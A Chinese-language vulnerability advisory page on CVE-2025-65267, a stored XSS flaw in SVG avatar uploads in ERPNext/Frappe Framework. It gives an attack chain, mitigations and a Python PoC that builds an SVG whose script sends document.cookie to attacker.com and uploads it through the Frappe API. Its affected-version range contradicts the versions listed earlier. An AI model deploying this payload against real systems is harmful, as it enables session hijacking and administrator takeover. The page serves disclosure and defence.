IPBUF安全漏洞报告
English
CVE-2025-65267 CVSS 9.0 严重

CVE-2025-65267 ERPNext/Frappe Framework SVG头像存储型XSS漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-65267
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ERPNext v15.83.2, Frappe Framework v15.86.0

相关标签

CVE-2025-65267存储型XSSERPNextFrappe FrameworkSVG上传绕过头像上传漏洞身份认证绕过CVSS 9.0Web应用安全JavaScript注入

漏洞概述

CVE-2025-65267是ERPNext和Frappe Framework中的一个高危安全漏洞,CVSS评分达到9.0(严重级别)。该漏洞源于系统对用户上传的SVG格式头像图片缺乏有效的安全验证,导致攻击者可以在SVG文件中嵌入恶意JavaScript代码。当其他用户(特别是管理员)查看或点击该头像图片链接时,嵌入的恶意脚本会在受害者浏览器中执行,从而实现存储型跨站脚本攻击(Stored XSS)。由于SVG文件会被存储在服务器上并在用户个人资料页面展示,恶意代码会持续存在并对所有访问该页面的用户生效。成功利用此漏洞可能导致会话劫持、账户接管、敏感信息泄露,甚至通过管理员账户实现对整个ERPNext系统的完全控制。攻击者利用低权限账户即可发起攻击,但需要诱导管理员查看头像图片才能完成完整的攻击链。

技术细节

该漏洞的根本原因在于ERPNext和Frappe Framework在处理用户头像上传时,仅检查文件扩展名为.svg,但未对SVG文件内容进行安全过滤。SVG格式本身支持内联JavaScript(<script>标签)和事件处理器(如onload、onerror等),这使得攻击者可以构造包含恶意脚本的SVG文件。上传后,SVG文件被存储在服务器端,并在用户个人资料页面作为头像显示。当管理员访问攻击者的个人资料页面时,浏览器会解析并执行SVG中嵌入的JavaScript代码。攻击者可通过XSS获取管理员的会话Cookie、执行任意API调用、修改系统配置或创建新管理员账户。攻击流程包括:1) 攻击者注册低权限账户;2) 上传包含XSS payload的恶意SVG文件作为头像;3) 等待管理员查看攻击者资料;4) 恶意脚本在管理员浏览器中执行;5) 攻击者获取管理员权限。修复方案需要在上传时对SVG内容进行解析,移除所有脚本元素和事件处理器,或将SVG转换为安全格式(如PNG)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标ERPNext/Frappe Framework版本,确认版本为v15.83.2或v15.86.0,并了解头像上传功能位置
STEP 2
步骤2: 账户创建
攻击者使用低权限账户注册或登录系统,获取基础用户访问权限
STEP 3
步骤3: 恶意SVG构造
攻击者构造包含XSS payload的恶意SVG文件,在<script>标签或事件处理器中嵌入JavaScript代码
STEP 4
步骤4: 头像上传
攻击者通过用户设置页面将恶意SVG文件上传为个人头像,系统未进行内容安全验证即接受上传
STEP 5
步骤5: 诱导管理员
攻击者通过社交工程手段诱导管理员访问其个人资料页面,查看或点击头像图片
STEP 6
步骤6: XSS执行
管理员浏览器解析SVG文件并执行嵌入的恶意JavaScript,获取管理员会话Cookie或执行特权操作
STEP 7
步骤7: 账户接管
攻击者利用窃取的会话或权限执行进一步攻击,可能包括创建新管理员账户、修改系统配置或数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-65267 PoC - Malicious SVG Avatar with XSS Payload # This PoC demonstrates how to create a malicious SVG file that can be uploaded as an avatar import base64 import requests # Malicious SVG payload with embedded JavaScript # When displayed, this will execute JavaScript in the victim's browser svg_payload = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <script type="text/javascript"> // Steal session cookies and send to attacker server fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)) .then(response => response.text()) .then(data => console.log('Cookie stolen')); // Alternative: Exfiltrate data via SVG onload // <image href="x" onerror="fetch('https://attacker.com/log?data='+document.cookie)"/> </script> <circle cx="100" cy="100" r="80" fill="#4CAF50"/> <text x="50%" y="50%" text-anchor="middle" fill="white" font-size="20">Avatar</text> </svg>''' # Save the malicious SVG file with open('malicious_avatar.svg', 'w') as f: f.write(svg_payload) print('[+] Malicious SVG file created: malicious_avatar.svg') print('[+] Upload this file as your profile avatar') print('[+] When admin views your profile, the XSS payload will execute') # Simulated upload request (adjust URL and auth token accordingly) def upload_avatar(base_url, auth_token, svg_file_path): upload_url = f"{base_url}/api/method/frappe.client.upload_file" headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'multipart/form-data' } with open(svg_file_path, 'rb') as f: files = {'file': ('malicious_avatar.svg', f, 'image/svg+xml')} data = {'doctype': 'User', 'docname': 'attacker_user', 'fieldname': 'user_image'} response = requests.post(upload_url, headers=headers, files=files, data=data) return response.json() print('\n[!] Note: This PoC is for educational and security testing purposes only')

影响范围

ERPNext < v15.83.2
Frappe Framework < v15.86.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用SVG头像上传功能,强制用户使用系统预定义头像;2) 在Web应用防火墙(WAF)层面添加规则,检测并阻止包含<script>标签或事件处理器的SVG文件上传;3) 实施严格的CSP策略,限制脚本执行;4) 对所有用户头像实施内容安全扫描,移除潜在的恶意代码;5) 监控异常的上传行为和API调用日志,及时发现潜在攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表